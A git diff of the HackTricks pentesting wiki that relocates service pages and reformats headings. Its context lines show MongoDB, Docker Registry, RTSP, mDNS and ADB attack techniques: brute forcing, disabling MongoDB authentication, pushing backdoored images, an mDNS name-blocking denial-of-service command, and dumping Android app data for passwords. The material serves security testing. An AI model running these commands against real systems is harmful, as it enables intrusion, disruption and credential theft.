a file: docker cp :/etc/ ``` -# Securing your Docker +## Securing your Docker -## Securing Docker installation and usage +### Securing Docker installation and usage * You can use the tool [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) to inspect your current docker installation. * `./docker-bench-security.sh` @@ -272,13 +271,13 @@ docker cp :/etc/ * `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` -## Securing Docker Images +### Securing Docker Images * You can use a docker image of [https://github.com/quay/clair](https://github.com/quay/clair) to make it scan your other docker images and find vulnerabilities. * `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` * `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` -## Securing Dockerfiles +### Securing Dockerfiles * You can use the tool [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) to **inspect your Dockerfile** and find all kinds of misconfigurations. Each misconfiguration will be given an ID, you can find here [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) how to fix each of them. * `dockerfilelinter -f Dockerfile` @@ -300,10 +299,10 @@ docker cp :/etc/ ![](<../.gitbook/assets/image (421).png>) -## Logging Suspicious activity +### Logging Suspicious activity * You can use the tool [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) to detect **suspicious behaviour in running containers**. - * Note in the following chunk how **Falco compiles a kernel module and insert it**. After that, it loads the rules and **start logging suspicious activities**. In this case it has detected 2 privileged containers started, 1 of them with a sensitive mount, and after some seconds it detected how a shell was opened inside one of the containers. + * Note in the following chunk how **Falco compiles a kernel module and insert it**. After that, it loads the rules and **start logging suspicious activities**. In this case it has detected 2 privileged containers started, 1 of them with a sensitive mount, and after some seconds it detected how a shell was opened inside one of the containers. ``` docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco @@ -346,11 +345,10 @@ falco-probe found and loaded in dkms 2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu) ``` -## Monitoring Docker +### Monitoring Docker You can use auditd to monitor docker. -
Support HackTricks and get benefits! @@ -366,5 +364,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md similarity index 100% rename from pentesting/24007-24008-24009-49152-pentesting-glusterfs.md rename to network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md diff --git a/pentesting/27017-27018-mongodb.md b/network-services-pentesting/27017-27018-mongodb.md similarity index 96% rename from pentesting/27017-27018-mongodb.md rename to network-services-pentesting/27017-27018-mongodb.md index 58532ae4..c101e0b6 100644 --- a/pentesting/27017-27018-mongodb.md +++ b/network-services-pentesting/27017-27018-mongodb.md @@ -1,5 +1,7 @@ # 27017,27018 - Pentesting MongoDB +## 27017,27018 - Pentesting MongoDB +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information MongoDB is an [open source](https://whatis.techtarget.com/definition/open-source) database management system (DBMS) that uses a document-oriented database model which supports various forms of data. (From [here](https://searchdatamanagement.techtarget.com/definition/MongoDB)) @@ -28,9 +29,9 @@ PORT STATE SERVICE VERSION 27017/tcp open mongodb MongoDB 2.6.9 2.6.9 ``` -# Enumeration +## Enumeration -## Manual +### Manual ```python from pymongo import MongoClient @@ -57,19 +58,19 @@ db..count() #Number of records of the collection db.current.find({"username":"admin"}) #Find in current db the username admin ``` -## Automatic +### Automatic ```bash nmap -sV --script "mongo* and default" -p 27017 #By default all the nmap mongo enumerate scripts are used ``` -## Shodan +### Shodan * All mongodb: `"mongodb server information"` * Search for full open mongodb servers: `"mongodb server information" -"partially enabled"` * Only partially enable auth: `"mongodb server information" "partially enabled"` -# Login +## Login By default mongo does not require password.\ **Admin** is a common mongo database. @@ -87,7 +88,7 @@ The nmap script: _**mongodb-brute**_ will check if creds are needed. nmap -n -sV --script mongodb-brute -p 27017 ``` -## [**Brute force**](../brute-force.md#mongo) +### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mongo) Look inside _/opt/bitnami/mongodb/mongodb.conf_ to know if credentials are needed: @@ -96,7 +97,7 @@ grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed ``` -# Mongo Objectid Predict +## Mongo Objectid Predict Mongo Object IDs are **12-byte hexadecimal** strings: @@ -113,7 +114,7 @@ Of the above elements, machine identifier will remain the same for as long as th The tool [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), given a starting Object ID (you can create an account and get a starting ID), it sends back about 1000 probable Object IDs that could have possibly been assigned to the next objects, so you just need to bruteforce them. -# Post +## Post If you are root you can **modify** the **mongodb.conf** file so no credentials are needed (_noauth = true_) and **login without credentials**. diff --git a/pentesting/3128-pentesting-squid.md b/network-services-pentesting/3128-pentesting-squid.md similarity index 100% rename from pentesting/3128-pentesting-squid.md rename to network-services-pentesting/3128-pentesting-squid.md diff --git a/pentesting/3260-pentesting-iscsi.md b/network-services-pentesting/3260-pentesting-iscsi.md similarity index 83% rename from pentesting/3260-pentesting-iscsi.md rename to network-services-pentesting/3260-pentesting-iscsi.md index 38e82194..0424208d 100644 --- a/pentesting/3260-pentesting-iscsi.md +++ b/network-services-pentesting/3260-pentesting-iscsi.md @@ -1,4 +1,4 @@ - +# 3260 - Pentesting ISCSI
@@ -16,37 +16,36 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Basic Information -# Basic Information - -> In computing, **iSCSI** is an acronym for **Internet Small Computer Systems Interface**, an Internet Protocol \(IP\)-based storage networking standard for linking data storage facilities. It provides block-level access to storage devices by carrying SCSI commands over a TCP/IP network. iSCSI is used to facilitate data transfers over intranets and to manage storage over long distances. It can be used to transmit data over local area networks \(LANs\), wide area networks \(WANs\), or the Internet and can enable location-independent data storage and retrieval. +> In computing, **iSCSI** is an acronym for **Internet Small Computer Systems Interface**, an Internet Protocol (IP)-based storage networking standard for linking data storage facilities. It provides block-level access to storage devices by carrying SCSI commands over a TCP/IP network. iSCSI is used to facilitate data transfers over intranets and to manage storage over long distances. It can be used to transmit data over local area networks (LANs), wide area networks (WANs), or the Internet and can enable location-independent data storage and retrieval. > -> The protocol allows clients \(called initiators\) to send SCSI commands \(CDBs\) to storage devices \(targets\) on remote servers. It is a storage area network \(SAN\) protocol, allowing organizations to consolidate storage into storage arrays while providing clients \(such as database and web servers\) with the illusion of locally attached SCSI disks. It mainly competes with Fibre Channel, but unlike traditional Fibre Channel which usually requires dedicated cabling, iSCSI can be run over long distances using existing network infrastructure. +> The protocol allows clients (called initiators) to send SCSI commands (CDBs) to storage devices (targets) on remote servers. It is a storage area network (SAN) protocol, allowing organizations to consolidate storage into storage arrays while providing clients (such as database and web servers) with the illusion of locally attached SCSI disks. It mainly competes with Fibre Channel, but unlike traditional Fibre Channel which usually requires dedicated cabling, iSCSI can be run over long distances using existing network infrastructure. **Default port:** 3260 -```text +``` PORT STATE SERVICE VERSION 3260/tcp open iscsi? ``` -# Enumeration +## Enumeration -```text +``` nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx ``` This script will indicate if authentication is required. -## [Brute force](../brute-force.md#iscsi) +### [Brute force](../generic-methodologies-and-resources/brute-force.md#iscsi) -## [Mount ISCSI on Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How_to_set_up_and_use_iSCSI_target_on_Linux) +### [Mount ISCSI on Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux) **Note:** You may find that when your targets are discovered, they are listed under a different IP address. This tends to happen if the iSCSI service is exposed via NAT or a virtual IP. In cases like these, `iscsiadmin` will fail to connect. This requires two tweaks: one to the directory name of the node automatically created by your discovery activities, and one to the `default` file contained within this directory. For example, you are trying to connect to an iSCSI target on 123.123.123.123 at port 3260. The server exposing the iSCSI target is actually at 192.168.1.2 but exposed via NAT. isciadm will register the _internal_ address rather than the _public_ address: -```text +``` iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe [...] @@ -54,7 +53,7 @@ iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 This command will create a directory in your filesystem like this: -```text +``` /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/ ``` @@ -65,9 +64,9 @@ Within the directory, there is a default file with all the settings necessary to You may now mount the target as per the instructions in the link. -## [Mount ISCSI on Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476%28v=ws.10%29?redirectedfrom=MSDN) +### [Mount ISCSI on Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN) -# **Manual enumeration** +## **Manual enumeration** ```bash sudo apt-get install open-iscsi @@ -75,7 +74,7 @@ sudo apt-get install open-iscsi First of all you need to **discover the targets** name behind the IP: -```text +``` iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe [2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382 @@ -84,7 +83,7 @@ iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 _Note that it will show the I**P and port of the interfaces** where you can **reach** those **targets**. It can even **show internal IPs or different IPs** from the one you used._ -Then you **catch the 2nd part of the printed string of each line** \(_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ from the first line\) and **try to login**: +Then you **catch the 2nd part of the printed string of each line** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ from the first line) and **try to login**: ```bash iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login @@ -178,17 +177,15 @@ node.conn[0].iscsi.OFMarker = No # END RECORD ``` -**There is a script to automate basic subnet enumeration process available at** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability_Analysis/isciadm) +**There is a script to automate basic subnet enumeration process available at** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) -# **Shodan** +## **Shodan** * `port:3260 AuthMethod` -# **References** - -{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" caption="" %} - +## **References** +{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
@@ -205,5 +202,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/3299-pentesting-saprouter.md b/network-services-pentesting/3299-pentesting-saprouter.md similarity index 100% rename from pentesting/3299-pentesting-saprouter.md rename to network-services-pentesting/3299-pentesting-saprouter.md diff --git a/pentesting/3632-pentesting-distcc.md b/network-services-pentesting/3632-pentesting-distcc.md similarity index 100% rename from pentesting/3632-pentesting-distcc.md rename to network-services-pentesting/3632-pentesting-distcc.md diff --git a/pentesting/3690-pentesting-subversion-svn-server.md b/network-services-pentesting/3690-pentesting-subversion-svn-server.md similarity index 100% rename from pentesting/3690-pentesting-subversion-svn-server.md rename to network-services-pentesting/3690-pentesting-subversion-svn-server.md diff --git a/pentesting/3702-udp-pentesting-ws-discovery.md b/network-services-pentesting/3702-udp-pentesting-ws-discovery.md similarity index 100% rename from pentesting/3702-udp-pentesting-ws-discovery.md rename to network-services-pentesting/3702-udp-pentesting-ws-discovery.md diff --git a/pentesting/43-pentesting-whois.md b/network-services-pentesting/43-pentesting-whois.md similarity index 100% rename from pentesting/43-pentesting-whois.md rename to network-services-pentesting/43-pentesting-whois.md diff --git a/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md b/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md similarity index 100% rename from pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md rename to network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md diff --git a/pentesting/44134-pentesting-tiller-helm.md b/network-services-pentesting/44134-pentesting-tiller-helm.md similarity index 100% rename from pentesting/44134-pentesting-tiller-helm.md rename to network-services-pentesting/44134-pentesting-tiller-helm.md diff --git a/pentesting/44818-ethernetip.md b/network-services-pentesting/44818-ethernetip.md similarity index 100% rename from pentesting/44818-ethernetip.md rename to network-services-pentesting/44818-ethernetip.md diff --git a/pentesting/47808-udp-bacnet.md b/network-services-pentesting/47808-udp-bacnet.md similarity index 100% rename from pentesting/47808-udp-bacnet.md rename to network-services-pentesting/47808-udp-bacnet.md diff --git a/pentesting/5000-pentesting-docker-registry.md b/network-services-pentesting/5000-pentesting-docker-registry.md similarity index 97% rename from pentesting/5000-pentesting-docker-registry.md rename to network-services-pentesting/5000-pentesting-docker-registry.md index 60655542..01f483e9 100644 --- a/pentesting/5000-pentesting-docker-registry.md +++ b/network-services-pentesting/5000-pentesting-docker-registry.md @@ -1,4 +1,4 @@ - +# 5000 - Pentesting Docker Registry
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information **Info from** [**here**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.** @@ -46,7 +45,7 @@ PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0) ``` -# Discovering +## Discovering The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.\ Some fingerprints: @@ -57,9 +56,9 @@ Some fingerprints: * `{"repositories":["alpine","ubuntu"]}` * `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` -# Enumeration +## Enumeration -## HTTP/HTTPS +### HTTP/HTTPS Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured: @@ -74,7 +73,7 @@ Warning: " to save to a file. {"repositories":["alpine","ubuntu"]} ``` -## Authentication +### Authentication Docker registry may also be configured to require **authentication**: @@ -86,14 +85,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog {"repositories":["alpine","ubuntu"]} ``` -If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](../brute-force.md#docker-registry).\ +If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\ **If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this: ```bash curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ``` -## Enumeration using DockerRegistryGrabber +### Enumeration using DockerRegistryGrabber [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a python tool to enumerate / dump docker degistry (without or with basic authentication) @@ -134,8 +133,7 @@ python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 ``` - -## Enumeration using curl +### Enumeration using curl Once you **obtained access to the docker registry** here are some commands you can use to enumerate it: @@ -206,7 +204,7 @@ tar -xf blob1.tar #After this,inspect the new folders and files created in the c Note that when you download and decompress the blobs files and folders will appear in the current directory. **If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs**, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob. {% endhint %} -## Enumeration using docker +### Enumeration using docker ```bash #Once you know which images the server is saving (/v2/_catalog) you can pull them @@ -227,7 +225,7 @@ docker ps #Using a different shell docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container ``` -## Backdooring WordPress image +### Backdooring WordPress image In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.\ **Create** the **backdoor**: @@ -257,7 +255,7 @@ docker images docker push registry:5000/wordpress #Push it ``` -## Backdooring SSH server image +### Backdooring SSH server image Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.\ **Download** the image and **run** it: @@ -296,7 +294,6 @@ docker images docker push registry:5000/sshd-docker-cli #Push it ``` -
Support HackTricks and get benefits! @@ -312,5 +309,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md b/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md similarity index 100% rename from pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md rename to network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md diff --git a/pentesting/512-pentesting-rexec.md b/network-services-pentesting/512-pentesting-rexec.md similarity index 95% rename from pentesting/512-pentesting-rexec.md rename to network-services-pentesting/512-pentesting-rexec.md index 9cf933dd..faaa19fd 100644 --- a/pentesting/512-pentesting-rexec.md +++ b/network-services-pentesting/512-pentesting-rexec.md @@ -1,4 +1,4 @@ - +# 512 - Pentesting Rexec
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information It is a service that **allows you to execute a command inside a host** if you know valid **credentials** (username and password). @@ -28,8 +27,7 @@ PORT STATE SERVICE 512/tcp open exec ``` -## [**Brute-force**](../brute-force.md#rexec) - +### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
@@ -46,5 +44,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/515-pentesting-line-printer-daemon-lpd.md b/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md similarity index 100% rename from pentesting/515-pentesting-line-printer-daemon-lpd.md rename to network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md diff --git a/pentesting/5353-udp-multicast-dns-mdns.md b/network-services-pentesting/5353-udp-multicast-dns-mdns.md similarity index 90% rename from pentesting/5353-udp-multicast-dns-mdns.md rename to network-services-pentesting/5353-udp-multicast-dns-mdns.md index dd7e8f91..bcfc6773 100644 --- a/pentesting/5353-udp-multicast-dns-mdns.md +++ b/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -1,4 +1,4 @@ - +# 5353/UDP Multicast DNS (mDNS) and DNS-SD
@@ -16,10 +16,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Basic Information -# Basic Information - -Multicast DNS (mDNS) is a **zero-configuration protocol** that lets you perform **DNS-like operations** on the local network in the absence of a conventional, unicast DNS server. The protocol uses the **same** API, **packet formats**, and operating semantics as DNS, allowing you to resolve domain names on the local network. **DNS Service Discovery (DNS-SD)** is a protocol that allows clients to **discover a list of named instances of services** (such as test.\_ipps.\_tcp.local, or linux.\_ssh.\_tcp.local) in a domain using standard DNS queries. DNS-SD is most often used in conjunction with mDNS but isn’t dependent on it. They’re both used by many IoT devices, such as network printers, Apple TVs, Google Chromecast, Network-Attached Storage (NAS) devices, and cameras. \ +Multicast DNS (mDNS) is a **zero-configuration protocol** that lets you perform **DNS-like operations** on the local network in the absence of a conventional, unicast DNS server. The protocol uses the **same** API, **packet formats**, and operating semantics as DNS, allowing you to resolve domain names on the local network. **DNS Service Discovery (DNS-SD)** is a protocol that allows clients to **discover a list of named instances of services** (such as test.\_ipps.\_tcp.local, or linux.\_ssh.\_tcp.local) in a domain using standard DNS queries. DNS-SD is most often used in conjunction with mDNS but isn’t dependent on it. They’re both used by many IoT devices, such as network printers, Apple TVs, Google Chromecast, Network-Attached Storage (NAS) devices, and cameras.\ **Default port:** 5353/UDP ``` @@ -27,17 +26,17 @@ PORT STATE SERVICE 5353/udp open zeroconf ``` -## How mDNS Works +### How mDNS Works Devices use mDNS when the local network **lacks** a conventional **unicast DNS server**. To resolve a domain name for a local address using mDNS, the device sends a **DNS query for a domain name** ending with **.local** to the **multicast** **address** 224.0.0.251 (for IPv4) or FF02::FB (for IPv6). You can also use mDNS to resolve **global domain names** (non .local ones), but mDNS implementations are supposed to **disable** this behavior by default. mDNS requests and responses use **UDP** and **port 5353** as both the source and destination port. The mDNS replies contain several important flags, including a **Time-to- Live** (TTL) value that signifies how many seconds the record is valid. Sending a reply with **TTL=0 means that the corresponding record should be cleared**. Another important flag is the QU bit, which denotes whether or not the query is a unicast query. If the **QU bit isn’t set**, the packet is a **multicast** query (QM). Because it’s possible to **receive unicast queries outside of the local link**, secure mDNS implementations should always **check that the source address in the packet matches the local subnet address range**. -## How DNS-SD Works +### How DNS-SD Works DNS-SD allows clients to **discover available services on the network**. To use it, clients send standard DNS queries for pointer records (PTR), which map the type of service to a list of names of specific instances of that type of service. -To request a PTR record, clients use the name form "\.\". The **\** part the **service name** preceded by "\_" (for example, \_ipps, \_printer, or \_ipp) and either **\_tcp or \_udp**. The **\** portion is "**.local**".\ +To request a PTR record, clients use the name form "\.\". The **\** part the **service name** preceded by "\_" (for example, \_ipps, \_printer, or \_ipp) and either **\_tcp or \_udp**. The **\** portion is "**.local**".\ **Responders** then return the PTR records that point to the accompanying **service (SRV)** and **text (TXT) records**. Here is an example of a PTR record: ``` @@ -50,9 +49,9 @@ The part of the PTR record to the **left** of the colon is its **name**, and the Therefore, the **name of the SRV** record is **like** the **PTR** record **preceded** by the **\** name (test in this case). The **TXT** has the **same** **name** as the **SRV** record and contains the information needed when the IP address and port number (contained in the SRV record) for a service aren’t sufficient to identify it. -# Enumeration +## Enumeration -## nmap +### nmap ```bash nmap -Pn -sUC -p5353 192.168.1.2 @@ -72,7 +71,7 @@ PORT STATE SERVICE | Address=192.168.1.2 ``` -## Network Enumeration +### Network Enumeration You can learn a lot about the local network by simply sending mDNS requests and capturing multicast mDNS traffic. @@ -82,9 +81,9 @@ You can use the tool [**Pholus**](https://github.com/aatlasis/Pholus/) to send a sudo python3 pholus3.py eth0 -rq -stimeout 10 ``` -# Attacks +## Attacks -## Abusing the mDNS Probing Phase +### Abusing the mDNS Probing Phase When a mDNS responder starts or changes its connectivity, it asks the local network if there is **any resource with the name he plans to use**. If the answer contains the record in question, the probing host **should choose a new name**. If 15 conflicts take place within 10 seconds, the host must then wait at least five seconds before any additional attempt. Additionally, if one minute passes during which the host can’t find an unused name, it reports an error to the user. @@ -94,20 +93,19 @@ The following command line will prevent any new device to get any new name as it sudo python pholus.py eth0 -afre -stimeout 1000 ``` -## Spoofing/MitM +### Spoofing/MitM The most interesting attack you can perform over this service is to perform a **MitM** in the **communication between the client and the real server**. You might be able to obtain sensitive files (MitM the communication with the printer) of even credentials (Windows authentication).\ For more information check: -{% content-ref url="pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} -[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} +[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) {% endcontent-ref %} -# References +## References * [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y) -
Support HackTricks and get benefits! @@ -123,5 +121,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/554-8554-pentesting-rtsp.md b/network-services-pentesting/554-8554-pentesting-rtsp.md similarity index 96% rename from pentesting/554-8554-pentesting-rtsp.md rename to network-services-pentesting/554-8554-pentesting-rtsp.md index 0ecfd913..432335bf 100644 --- a/pentesting/554-8554-pentesting-rtsp.md +++ b/network-services-pentesting/554-8554-pentesting-rtsp.md @@ -1,4 +1,4 @@ - +# 554,8554 - Pentesting RTSP
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information > The **Real Time Streaming Protocol** (**RTSP**) is a network control protocol designed for use in entertainment and communications systems to control streaming media servers. The protocol is used for establishing and controlling media sessions between end points. Clients of media servers issue VHS-style commands, such as play, record and pause, to facilitate real-time control of the media streaming from the server to a client (Video On Demand) or from a client to the server (Voice Recording). > @@ -32,7 +31,7 @@ PORT STATE SERVICE 554/tcp open rtsp ``` -# Detailed Information +## Detailed Information First and foremost RTSP is an HTTP like protocol. It has different structure and control commands but is textual in its format and once you learn the basics of the commands and how they interact, fairly easy to use. The specification for RTSP is pretty straightforward. Here is a link to it: @@ -40,7 +39,7 @@ First and foremost RTSP is an HTTP like protocol. It has different structure and RTSP can be accessed unauthenticated (common in off-the-shelf devices) or authenticated. Authenticated access mirrors HTTP in that you have Basic and Digest authentication, both nearly identical to HTTP. To find out whether your device is authenticated or unauthenticated, simply send a “DESCRIBE” request. A simple DESCRIBE request looks like: -`DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r` +`DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2` Note: the additional “\r\n” is required for reliable response. Some systems will accept the single “\r\n” but most won’t. @@ -54,7 +53,7 @@ Basic authentication is the way to go, hopefully the response received indicates To formulate a Basic authentication element, one simple has to base 64 encode \ “:” \ and add it to the request. So a new request would look like: -`DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r` +`DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==` Again note the request is terminated with the double “\r\n”. @@ -74,7 +73,7 @@ Voila! You have access. **From:** [**http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/**](https://web.archive.org/web/20161020202643/http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/) -# Enumeration +## Enumeration Lets get information about valid methods and URLs are supported and try to brute-force the access (if needed) to get access to the content. @@ -82,9 +81,9 @@ Lets get information about valid methods and URLs are supported and try to brute nmap -sV --script "rtsp-*" -p ``` -## [Brute Force](../brute-force.md#rtsp) +### [Brute Force](../generic-methodologies-and-resources/brute-force.md#rtsp) -## **Other useful programs** +### **Other useful programs** To bruteforce: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder) @@ -102,7 +101,6 @@ Cameradar allows you to: [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar) -
Support HackTricks and get benefits! @@ -118,5 +116,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/5555-android-debug-bridge.md b/network-services-pentesting/5555-android-debug-bridge.md similarity index 93% rename from pentesting/5555-android-debug-bridge.md rename to network-services-pentesting/5555-android-debug-bridge.md index b1801031..3755f87b 100644 --- a/pentesting/5555-android-debug-bridge.md +++ b/network-services-pentesting/5555-android-debug-bridge.md @@ -1,4 +1,4 @@ - +# 5555 - Android Debug Bridge
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information **Android Debug Bridge** (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as i**nstalling and debugging apps**, and it provides **access to a Unix shell** that you can use to run a variety of commands on a device. (from [here](https://developer.android.com/studio/command-line/adb)) @@ -28,7 +27,7 @@ PORT STATE SERVICE VERSION 5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909) ``` -# Connect +## Connect If find the ADB service running in a port of a device and you can connect to it, **you can get a shell inside the system:** @@ -40,11 +39,11 @@ adb shell For more ADB commands check the following page: -{% content-ref url="../mobile-apps-pentesting/android-app-pentesting/adb-commands.md" %} -[adb-commands.md](../mobile-apps-pentesting/android-app-pentesting/adb-commands.md) +{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %} +[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md) {% endcontent-ref %} -## Dump App data +### Dump App data In order to completely download the data of an application you can: @@ -57,11 +56,10 @@ adb pull "/sdcard/com.package" You can use this trick to **retrieve sensitive information like chrome passwords**. For more info about this check the information a references provided [**here**](https://github.com/carlospolop/hacktricks/issues/274). -# Shodan +## Shodan * `android debug bridge` -
